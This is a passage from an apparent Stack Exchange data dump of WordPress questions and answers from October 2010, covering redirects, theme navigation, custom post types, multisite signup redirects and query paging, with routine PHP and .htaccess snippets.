rel=&quot;nofollow&quot;&gt;http://localhost/food_page&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can see this in action on my live site, &lt;a href=&quot;http://snarfed.org/&quot; rel=&quot;nofollow&quot;&gt;http://snarfed.org/&lt;/a&gt; . e.g. &lt;a href=&quot;http://snarfed.org/foo&quot; rel=&quot;nofollow&quot;&gt;http://snarfed.org/foo&lt;/a&gt; redirects to &lt;a href=&quot;http://snarfed.org/2009-10-30_food_highlights&quot; rel=&quot;nofollow&quot;&gt;http://snarfed.org/2009-10-30_food_highlights&lt;/a&gt; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;turning off permalinks (ie switching to &quot;default&quot;) fixes it, for both posts and pages, but naturally i don't really want to do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i see this on three different installations, all wordpress 3.0.1 and apache 2.2, two ubuntu lucid/mysql 5.1 and one freebsd 7.3/mysql 5.0. i've deactivated all plugins and removed everything from my .htaccess except the lines for wordpress below, verbatim, but no luck.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteRule ^wordpress/index\.php$ - [L]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule . /wordpress/index.php [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;thanks in advance...&lt;/p&gt;&#xA;" OwnerUserId="525" LastActivityDate="2010-10-26T19:30:19.557" Title="301 redirect instead of 404 when URL is a prefix of a post or page name?" Tags="&lt;redirect&gt;&lt;http-301&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="3327" PostTypeId="1" CreationDate="2010-10-26T18:59:59.733" Score="0" ViewCount="463" Body="&lt;p&gt;Im helping a friend who has a woo bueno theme [free] blog and for some reason shes chosen long and numerous categories.  these all appear in a nav bar at the very top of her page and it's just got to go. Id appreciate your advice in helping &lt;a href=&quot;http://veronicapearman.com/&quot; rel=&quot;nofollow&quot;&gt;http://veronicapearman.com/&lt;/a&gt;&lt;/p&gt;&#xA;" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-10-26T20:28:12.467" LastActivityDate="2010-11-08T12:52:39.637" Title="how to remove category nav from Bueno (Wordpress Theme) header" Tags="&lt;themes&gt;&lt;navigation&gt;" AnswerCount="1" />
  <row Id="3328" PostTypeId="2" ParentId="3326" CreationDate="2010-10-26T19:30:19.557" Score="2" ViewCount="" Body="&lt;p&gt;This is normal, it is because &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/canonical.php#L12&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;redirect_canonical()&lt;/code&gt;&lt;/a&gt;, which makes sure you are always at a &quot;canonical&quot; URL (conforming to your permalink structure), executes &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/canonical.php#L380&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;redirect_guess_404_permalink()&lt;/code&gt;&lt;/a&gt; to make a best guess at a post &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/canonical.php#L83&quot; rel=&quot;nofollow&quot;&gt;when the URL is incomplete&lt;/a&gt;. If you want to prevent this, I think the best way is to hook into &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/canonical.php#L359&quot; rel=&quot;nofollow&quot;&gt;the &lt;code&gt;redirect_canonical&lt;/code&gt; filter&lt;/a&gt;, and return false if it is a 404. Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('redirect_canonical', 'no_redirect_on_404');&#xA;function no_redirect_on_404($redirect_url)&#xA;{&#xA;    if (is_404()) {&#xA;        return false;&#xA;    }&#xA;    return $redirect_url;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-10-26T19:30:19.557" CommentCount="1" />
  <row Id="3329" PostTypeId="2" ParentId="3311" CreationDate="2010-10-26T19:33:17.273" Score="2" ViewCount="" Body="&lt;p&gt;If you're experiencing bugs with my own plugin (sem-external-links), be so kind to say how it's not working...&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-10-26T19:33:17.273" CommentCount="3" />
  <row Id="3330" PostTypeId="2" ParentId="3327" CreationDate="2010-10-26T19:39:33.927" Score="1" ViewCount="" Body="&lt;p&gt;Looking at the header, it seems you can either create your own WordPress menu for the &lt;code&gt;secondary-menu&lt;/code&gt;, or a &quot;woo_custom_navigation&quot; menu. If any of these are set (and maybe they can even be empty), the category list will not be displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also create a child theme, with only the &lt;code&gt;header.php&lt;/code&gt; file. This would be a copy of the &lt;code&gt;header.php&lt;/code&gt; file of the Bueno theme with the relevant lines removed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if ( function_exists('has_nav_menu') &amp;amp;&amp;amp; has_nav_menu('secondary-menu') ) {&#xA;    wp_nav_menu( array( 'sort_column' =&amp;gt; 'menu_order', 'container' =&amp;gt; 'ul', 'menu_id' =&amp;gt; 'catnav', 'menu_class' =&amp;gt; 'nav fl', 'theme_location' =&amp;gt; 'secondary-menu' ) );&#xA;} else {&#xA;?&amp;gt;&#xA;&amp;lt;ul id=&quot;catnav&quot; class=&quot;nav fl&quot;&amp;gt;&#xA;    &amp;lt;?php &#xA;    if ( get_option('woo_custom_nav_menu') == 'true' ) {&#xA;        if ( function_exists('woo_custom_navigation_output') )&#xA;            woo_custom_navigation_output('name=Woo Menu 2');&#xA;&#xA;    } else { ?&amp;gt;&#xA;    &amp;lt;?php wp_list_categories('sort_column=menu_order&amp;amp;depth=3&amp;amp;title_li=&amp;amp;exclude='.get_option('woo_nav_exclude')); ?&amp;gt;&#xA;    &amp;lt;?php } ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&amp;lt;!-- /#nav --&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-10-26T19:39:33.927" CommentCount="1" />
  <row Id="3331" PostTypeId="1" CreationDate="2010-10-26T20:20:34.627" Score="2" ViewCount="915" Body="&lt;p&gt;Looking for a good plugin or group of plugins to handle fixtures, leagues and results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It needs to handle:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Fixtures &lt;/li&gt;&#xA;&lt;li&gt;Results&lt;/li&gt;&#xA;&lt;li&gt;League&lt;/li&gt;&#xA;&lt;li&gt;Tables&lt;/li&gt;&#xA;&lt;li&gt;Cup routes&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any tips would be gratefully received.----&lt;/p&gt;&#xA;" OwnerUserId="784" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-05T10:44:11.277" LastActivityDate="2011-08-29T17:10:12.603" Title="A good plugin/plugin set for a sports team site?" Tags="&lt;plugin-recommendation&gt;&lt;theme-recommendation&gt;" AnswerCount="9" CommentCount="9" />
  <row Id="3332" PostTypeId="1" AcceptedAnswerId="3334" CreationDate="2010-10-26T21:01:26.637" Score="2" ViewCount="89" Body="&lt;p&gt;I noticed that deleted users still show in the &lt;strong&gt;count&lt;/strong&gt; of the users admin screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On one blog I deleted 9 users only leaving the admin but it stil shows 9 in the count. In the physical database they are no longer present in the wp_users and wp_users_metadata so.... i guess that the counter is uhm... somewhere else in the database and I set it tot 1 manually in the database??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;update / fix&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I notice that the records &lt;strong&gt;wp_capabilities&lt;/strong&gt; and &lt;strong&gt;wp_user_level&lt;/strong&gt; do not get deleted in the &lt;strong&gt;wp_usermeta&lt;/strong&gt; table after deletion&lt;/p&gt;&#xA;&#xA;&lt;p&gt;after I deleted those 2 records manually in the database the count was back to 1 &lt;/p&gt;&#xA;" OwnerUserId="576" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2010-10-26T21:20:51.003" LastActivityDate="2010-10-26T22:36:59.493" Title="deleted users still show in count?" Tags="&lt;3.0&gt;&lt;wp-admin&gt;" AnswerCount="1" />
  <row Id="3333" PostTypeId="2" ParentId="2522" CreationDate="2010-10-26T21:30:12.367" Score="0" ViewCount="" Body="&lt;p&gt;Sorich87, you just killed my headache and resolved my problem. I created custom posts type, and I was trying to get the slug of the taxonomy related to it. Big thanks !&lt;/p&gt;&#xA;" LastActivityDate="2010-10-26T21:30:12.367" />
  <row Id="3334" PostTypeId="2" ParentId="3332" CreationDate="2010-10-26T22:36:59.493" Score="1" ViewCount="" Body="&lt;p&gt;Look no further, then. It's one of the joys of lack of referential integrity combined with workflow bugs. Please report this in the WP bug tracker. &lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-10-26T22:36:59.493" />
  <row Id="3335" PostTypeId="1" AcceptedAnswerId="3518" CreationDate="2010-10-27T05:20:26.133" Score="0" ViewCount="151" Body="&lt;p&gt;I am looking for what code one would need to add into the functions.php file which would allow specific metaboxes to show up in tags instead of within their individual metaboxes. Can anyone help with this?&lt;/p&gt;&#xA;" OwnerUserId="479" LastActivityDate="2010-11-01T16:48:55.100" Title="Placing Admin Post Metaboxes in Tabs" Tags="&lt;custom-post-types&gt;&lt;custom-menus&gt;&lt;metabox&gt;&lt;customization&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" />
  <row Id="3336" PostTypeId="1" AcceptedAnswerId="3339" CreationDate="2010-10-27T06:01:26.113" Score="1" ViewCount="208" Body="&lt;p&gt;Picasa and Flickr provide Photo service. Is there any service for swf files so that i could share and use swf file in my blog? I don't like to upload swf on my wordpress hosting.&#xA;I believe Google, Microsoft and Yahoo services only.&lt;/p&gt;&#xA;" OwnerUserId="1302" LastActivityDate="2010-10-27T09:38:12.880" Title="Free swf files hosting for wordpress blog" Tags="&lt;hosting&gt;&lt;services&gt;" AnswerCount="2" />
  <row Id="3337" PostTypeId="2" ParentId="3336" CreationDate="2010-10-27T08:39:59.533" Score="0" ViewCount="" Body="&lt;p&gt;How about converting it into any of the Youtube supported formats and putting it up there? Then just embed in your blog post.&lt;/p&gt;&#xA;" OwnerUserId="138" LastActivityDate="2010-10-27T08:39:59.533" CommentCount="2" />
  <row Id="3338" PostTypeId="1" AcceptedAnswerId="3548" CreationDate="2010-10-27T09:27:41.800" Score="2" ViewCount="308" Body="&lt;p&gt;I'm trying to show the latest posts using the &lt;code&gt;get_query_var&lt;/code&gt; function. The function filters the posts according to their category.&#xA;When I'm displaying the posts on the page they appear unsorted although I've added the&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$paged = (get_query_var('paged')) ? get_query_var('paged') : 1;&lt;/code&gt;&lt;br&gt;&#xA; &lt;code&gt;$args=array(&lt;/code&gt;&lt;br&gt;&#xA;   &lt;code&gt;'category__in'=&amp;gt;array( $cat),&lt;/code&gt;&lt;br&gt;&#xA;   &lt;code&gt;'order' =&amp;gt; ASC,&lt;/code&gt;&lt;br&gt;&#xA;   &lt;code&gt;'caller_get_posts' =&amp;gt; 1,&lt;/code&gt;&lt;br&gt;&#xA;   &lt;code&gt;'paged'=&amp;gt;$paged,&lt;/code&gt;&lt;br&gt;&#xA;   &lt;code&gt;'orderby' =&amp;gt; date,&lt;/code&gt;&lt;br&gt;&#xA;   &lt;code&gt;);&lt;/code&gt;&lt;br&gt;&#xA;   &lt;code&gt;query_posts($args);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the complete code &lt;a href=&quot;http://bit.ly/a5SssR&quot; rel=&quot;nofollow&quot;&gt;http://bit.ly/a5SssR&lt;/a&gt;&lt;br&gt;&#xA;How can I sort properly?&lt;/p&gt;&#xA;" OwnerUserId="1204" LastEditorUserId="1204" LastEditorDisplayName="" LastEditDate="2010-10-27T11:32:24.350" LastActivityDate="2010-11-02T10:36:02.297" Title="blog posts sorting doesnt work while using get_query_var" Tags="&lt;posts&gt;&lt;sort&gt;" AnswerCount="1" CommentCount="11" FavoriteCount="1" />
  <row Id="3339" PostTypeId="2" ParentId="3336" CreationDate="2010-10-27T09:38:12.880" Score="2" ViewCount="" Body="&lt;p&gt;Would a generic file sharing and hosting site work? If you place the file in a public &lt;a href=&quot;http://www.dropbox.com/&quot; rel=&quot;nofollow&quot;&gt;Dropbox&lt;/a&gt; folder and reference it from your site? See the Web Applications Stack Exchange for &lt;a href=&quot;http://webapps.stackexchange.com/questions/638/online-file-storage-services&quot;&gt;more online file storage providers&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure you check the &lt;a href=&quot;http://kb2.adobe.com/cps/142/tn_14213.html&quot; rel=&quot;nofollow&quot;&gt;Cross-domain policy&lt;/a&gt;: if the Flash file hosted on &lt;code&gt;dropbox.com&lt;/code&gt; needs to access data from &lt;code&gt;yourdomain.com&lt;/code&gt;, you need a &lt;code&gt;crossdomain.xml&lt;/code&gt; file on &lt;code&gt;yourdomain.com&lt;/code&gt; that specifies that Flash files from &lt;code&gt;dropbox.com&lt;/code&gt; are allowed to access data.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-10-27T09:38:12.880" CommentCount="2" />
  <row Id="3340" PostTypeId="1" AcceptedAnswerId="3361" CreationDate="2010-10-27T09:48:06.097" Score="2" ViewCount="172" Body="&lt;p&gt;Hi&#xA;I have made an sql query that gets several posts according the parameters that i've selected.&#xA;I'm showing these posts but the inner paging within &#xA;wordpress doesnt do anything.&#xA;It shows me that there are more pages but when i select the page number it shows me the same results as before. &#xA;That makes sense because it probably runs the sql query again.&#xA;I'm using WordPress and BuddyPress. &#xA;How can i page between these query results?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&#xA;here is the code im using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$sql = &quot;SELECT post_title, post_date, post_excerpt, guid, ID FROM wp_posts,wp_term_taxonomy, wp_terms, wp_term_relationships WHERE (post_status = 'publish' or post_status = 'inherit') and wp_term_taxonomy.term_taxonomy_id = &quot;.$cat.&quot; and wp_posts.ID = wp_term_relationships.object_id and wp_terms.term_id = wp_term_taxonomy.term_taxonomy_id and wp_term_relationships.term_taxonomy_id = wp_term_taxonomy.term_taxonomy_id and wp_term_taxonomy.taxonomy = 'category' ORDER by post_date DESC&quot;;&#xA;$matching_posts = $wpdb-&amp;gt;get_results($sql,OBJECT);&#xA;&amp;lt;?php if ( have_posts() ) : ?&amp;gt;&#xA;&#xA;  &amp;lt;?php foreach ($matching_posts as $post): ?&amp;gt;&#xA;  &amp;lt;?php setup_postdata($post);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then im showing the info i want like title.&lt;/p&gt;&#xA;" OwnerUserId="1204" LastEditorUserId="1204" LastEditorDisplayName="" LastEditDate="2010-10-27T09:54:14.273" LastActivityDate="2010-10-27T20:49:04.730" Title="mysql query paging" Tags="&lt;query&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="3341" PostTypeId="1" CreationDate="2010-10-27T10:10:53.950" Score="1" ViewCount="160" Body="&lt;p&gt;I need help,need to pass data from page,to widget function,I need to pass author id to widget,any idea?&#xA;Tnx&lt;/p&gt;&#xA;" OwnerUserId="1147" LastActivityDate="2010-10-27T10:35:00.063" Title="How to pass data from page to widget functions?" Tags="&lt;widgets&gt;&lt;functions&gt;" AnswerCount="1" />
  <row Id="3343" PostTypeId="2" ParentId="3341" CreationDate="2010-10-27T10:35:00.063" Score="1" ViewCount="" Body="&lt;p&gt;It should be possible to read the global &lt;code&gt;$post&lt;/code&gt; variable in your widget function. This will contain all information about the post (or page) displayed on the current page.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-10-27T10:35:00.063" CommentCount="2" />
  <row Id="3344" PostTypeId="1" CreationDate="2010-10-27T12:46:23.517" Score="1" ViewCount="280" Body="&lt;p&gt;I'm stucked at some point developing my theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a custom posts types to support an image gallery. So far, it's working great (have a look on 'galeria' on psaikali.com). &#xA;I registered this custom post type (register_post_type( 'artwork', $args )) and activated the 'page attributes' function, to define a different template for my posts ('supports' =&gt; array( 'title', 'editor', 'thumbnail', 'page-attributes', 'custom-fields' )).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it just shows the 'order' of the page, not the 'template selection' part. Does anyone knows what's wrong ? I did create the template file called single-artwork.php ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screenshot of the page attributes page I see : &lt;a href=&quot;http://img213.imageshack.us/img213/5348/notemplate.jpg&quot; rel=&quot;nofollow&quot;&gt;http://img213.imageshack.us/img213/5348/notemplate.jpg&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help !&lt;/p&gt;&#xA;" LastActivityDate="2010-10-27T14:58:06.587" Title="How to support custom templates on a custom post type?" Tags="&lt;template&gt;&lt;customization&gt;&lt;posts&gt;" AnswerCount="3" />
  <row Id="3345" PostTypeId="2" ParentId="3344" CreationDate="2010-10-27T13:09:00.523" Score="0" ViewCount="" Body="&lt;p&gt;Aaaah, I guess the template function is just working for pages, not post ! I'll search deeper ...&lt;/p&gt;&#xA;" LastActivityDate="2010-10-27T13:09:00.523" CommentCount="1" />
  <row Id="3346" PostTypeId="1" CreationDate="2010-10-27T13:14:34.637" Score="1" ViewCount="209" Body="&lt;p&gt;Anyone know a way round this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/support/topic/set-draft-page-as-parent&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/set-draft-page-as-parent&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't risk publishing as a public-facing system updates periodically from the same install.&lt;/p&gt;&#xA;" OwnerUserId="500" LastActivityDate="2010-10-27T20:41:41.727" Title="How can I set a draft page as parent without publishing?" Tags="&lt;publish&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" />
  <row Id="3347" PostTypeId="1" CreationDate="2010-10-27T13:41:13.570" Score="1" ViewCount="461" Body="&lt;p&gt;So I just setup my website &lt;code&gt;fightify.com&lt;/code&gt; and as you will see, visitors are automatically redirected to a signup page, which shouldnt be happening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This only occurs if the domain is typed without the www. prefix. &lt;code&gt;www.fightify.com&lt;/code&gt; yields no errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a feeling that it has something to do with the .htaccess file, but I'm no coder, and have no idea how to fix it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anybody seen this happen before?&lt;/p&gt;&#xA;" LastActivityDate="2011-03-16T19:34:35.650" Title="My wordpress multisite homepage redirects to signup page" Tags="&lt;redirect&gt;" AnswerCount="2" />
  <row Id="3348" PostTypeId="2" ParentId="3347" CreationDate="2010-10-27T13:44:52.423" Score="1" ViewCount="" Body="&lt;p&gt;Yes, I've dealt with this before. You have to specify a &lt;code&gt;NOBLOGREDIRECT&lt;/code&gt; in your &lt;code&gt;wp-config.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define( 'NOBLOGREDIRECT', 'http://www.fightify.com' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If there's no site, WP has to redirect visitors somewhere. By default, that's the signup page. Adding that constant tells it where to go.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-10-27T13:44:52.423" CommentCount="3" />
  <row Id="3349" PostTypeId="2" ParentId="3344" CreationDate="2010-10-27T14:23:07.153" Score="2" ViewCount="" Body="&lt;p&gt;You should be able to create a single-your-post-type-name.php file and have it work. I currently have it working fine on 3 or 4 sites so if it's not working for you you're doing something wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on your code sample single-artwork.php should work as a single page post template. You could also redirect on single.php with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if( get_post_type() == 'artwork' ) {&#xA;include_once ( TEMPLATEPATH.'/path/to/template.php' );&#xA;} else {&#xA;include_once( TEMPLATEPATH.'/normal/template.php' );&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd prefer to see the single-posttype.php route since WordPress is doing the routing at a deeper level and it's always nicer to just use WordPress built in stuff.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2010-10-27T14:23:07.153" CommentCount="2" />
  <row Id="3350" PostTypeId="2" ParentId="3344" CreationDate="2010-10-27T14:58:06.587" Score="0" ViewCount="" Body="&lt;p&gt;well single-POSTTYPE.php is for the single view of that post type.&#xA;Do you actually have a file my-custom-template.php which looks like this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/*&lt;br/&gt;&#xA;Template Name: My Custom Template&lt;br /&gt;&#xA;*/&lt;/p&gt;&#xA;" OwnerUserId="1379" LastActivityDate="2010-10-27T14:58:06.587" />
  <row Id="3351" PostTypeId="1" AcceptedAnswerId="3360" CreationDate="2010-10-27T16:24:58.027" Score="2" ViewCount="661" Body="&lt;p&gt;I'm updating programmatically posts in a WP 3.01 install, using custom made tools.&#xA;Sometimes I do change programmatically &lt;code&gt;post_status&lt;/code&gt; from DRAFT to PUBLISHED using custom &lt;code&gt;SELECT&lt;/code&gt; queries, however this seems spoiling posts permalinks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When in a DRAFT state, posts have the following link structure&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://myblog.com/?p=73006&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Could there be some &quot;trick&quot; to force a change in the link structure, generating the proper permalink?&lt;/p&gt;&#xA;" OwnerUserId="1210" LastEditorUserId="1210" LastEditorDisplayName="" LastEditDate="2010-10-28T08:17:56.447" LastActivityDate="2010-10-29T07:28:59.673" Title="Create slugs programmatically" Tags="&lt;permalinks&gt;&lt;draft&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="3352" PostTypeId="1" CreationDate="2010-10-27T17:27:44.573" Score="2" ViewCount="113" Body="&lt;p&gt;I have a problem with Nextgen gallery,after activating some plugins it doesn't show the submit buttons(insert, cancel).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then i have deactivated all plugins, but that doesn't help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't any experience with wordpress, so any suggestions would be very useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks much&lt;/p&gt;&#xA;" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-11-09T19:14:45.897" LastActivityDate="2010-11-09T19:14:45.897" Title="problem with nextgen plugin" Tags="&lt;plugins&gt;&lt;gallery&gt;&lt;plugin-nextgen-gallery&gt;" AnswerCount="1" />
  <row Id="3353" PostTypeId="1" CreationDate="2010-10-27T18:26:22.620" Score="1" ViewCount="144" Body="&lt;p&gt;What would be the best way to go for creating a tag-system similar to the one on quora.com?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't know what quora looks like, here is what I'm thinking about:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the tag archive page the user can add or edit a description of the tag and tie a photo to the tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tag also have a manage page on the frontend were it's possible to delete the tag or merge it with another one if it's a duplicate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of this is made from the frontend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How hard would it be to achieve this? How would one do?&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-04T12:42:02.190" LastActivityDate="2011-03-06T16:40:08.143" Title="Tag system like Quora?" Tags="&lt;plugin-recommendation&gt;&lt;tags&gt;&lt;archive&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="3354" PostTypeId="2" ParentId="3352" CreationDate="2010-10-27T18:38:35.760" Score="1" ViewCount="" Body="&lt;p&gt;one of those weird problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;try deactivating - reactivating nextgen - otherwise, u might have to delete it and re-install it&#xA;make sure to backup ur media&lt;/p&gt;&#xA;&#xA;&lt;p&gt;good luck&lt;/p&gt;&#xA;" OwnerUserId="692" LastActivityDate="2010-10-27T18:38:35.760" CommentCount="2" />
  <row Id="3355" PostTypeId="1" AcceptedAnswerId="3386" CreationDate="2010-10-27T18:45:29.497" Score="2" ViewCount="73" Body="&lt;p&gt;I have a custom meta box which I would like to use to report on the markup of the current post or page (number of words, number of heading tags, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I obtain the post content into memory in order to parse and report on its content inside the meta box?&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2010-10-28T13:19:40.423" Title="How do I obtain the post content via a custom meta box inside the editor?" Tags="&lt;theme-development&gt;&lt;metabox&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="3356" PostTypeId="2" ParentId="3346" CreationDate="2010-10-27T19:35:58.627" Score="3" ViewCount="" Body="&lt;p&gt;There is one way to do this, but it's kind of wonky. Instead of not publishing the page, you can hide the content. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make a theme template named HidePageTemplate.php. On the page you want hidden change your template file to whatever you named your template&#xA;In the template copy the structure of the 404 page. This way the page is published, so the child pages are published, but the content isn't visible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/*&#xA;Template Name: Hide Page Template&#xA;*/&#xA;get header&#xA;404-Not Found&#xA;get sidebar&#xA;get footer&lt;/p&gt;&#xA;" OwnerUserId="1352" LastActivityDate="2010-10-27T19:35:58.627" CommentCount="4" />
  <row Id="3357" PostTypeId="1" AcceptedAnswerId="3375" CreationDate="2010-10-27T19:41:00.960" Score="0" ViewCount="281" Body="&lt;p&gt;I have a custom hierarchical taxonomy that is called 'Categories', but serves a different area of the site than the default &quot;Categories&quot; taxonomy. The problem I'm having is with selecting children terms in the interface while posting content. If the user selects and children terms, they move to the top of the Categories box and lose association and visual hierarchy with its parent. Here's an image showing what happens:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://cl.ly/30e9/content&quot; alt=&quot;Checked categories are moved to the top of the list, breaking the hierarchy&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't set any unusual parameters that I know of, here's the register_taxonomy call:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_taxonomy( &quot;workshop_categories&quot;, 'workshop',&#xA;    array(&#xA;        &quot;label&quot; =&amp;gt; &quot;Categories&quot;,&#xA;        &quot;singular_label&quot; =&amp;gt; &quot;Category&quot;,&#xA;        &quot;rewrite&quot; =&amp;gt; true,&#xA;        &quot;show_ui&quot; =&amp;gt; &quot;true&quot;,&#xA;        'hierarchical' =&amp;gt; true,&#xA;        'rewrite' =&amp;gt; array('slug' =&amp;gt; 'category')&#xA;    )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any input is appreciated!&lt;/p&gt;&#xA;" OwnerUserId="1099" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-10-28T06:11:04.530" LastActivityDate="2011-03-22T19:46:38.073" Title="Custom hierarchal taxonomy loses interface hierarchy when selecting parent &amp; children" Tags="&lt;custom-taxonomy&gt;&lt;taxonomy&gt;" AnswerCount="2" />
  <row Id="3358" PostTypeId="1" AcceptedAnswerId="3371" CreationDate="2010-10-27T20:41:26.813" Score="0" ViewCount="111" Body="&lt;p&gt;I created a new blog using WordPress.com  and obviously it got hosted on their server. But what I notice is that few features are not visible in this version as compared to the WordPress PHP script that I downloaded and hosted on my server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: the Plugins options is not visible anywhere from where I can upload any plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the online version a degraded editon of the original WordPress script?&lt;/p&gt;&#xA;" OwnerUserId="1402" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-10-28T04:17:46.490" LastActivityDate="2010-10-28T04:17:46.490" Title="Feature Differences between WordPress.com and Hosting on your Own Server?" Tags="&lt;plugins&gt;&lt;wordpress.com&gt;&lt;hosting&gt;" AnswerCount="2" />
  <row Id="3359" PostTypeId="2" ParentId="3346" CreationDate="2010-10-27T20:41:41.727" Score="0" ViewCount="" Body="&lt;p&gt;You can't use unpublished pages as parents (or as a static front page, for that matter).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eileen has, I think, a very elegant workaround.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-10-27T20:41:41.727" />
  <row Id="3360" PostTypeId="2" ParentId="3351" CreationDate="2010-10-27T20:44:22.200" Score="3" ViewCount="" Body="&lt;p&gt;You need to programmatically set the slug as you do so. An SQL trigger could do the trick. Don't forget to mind duplicate slugs as you write it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Else, instead of publishing using the database, write a php script that calls the WP API.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-10-27T20:44:22.200" CommentCount="7" />
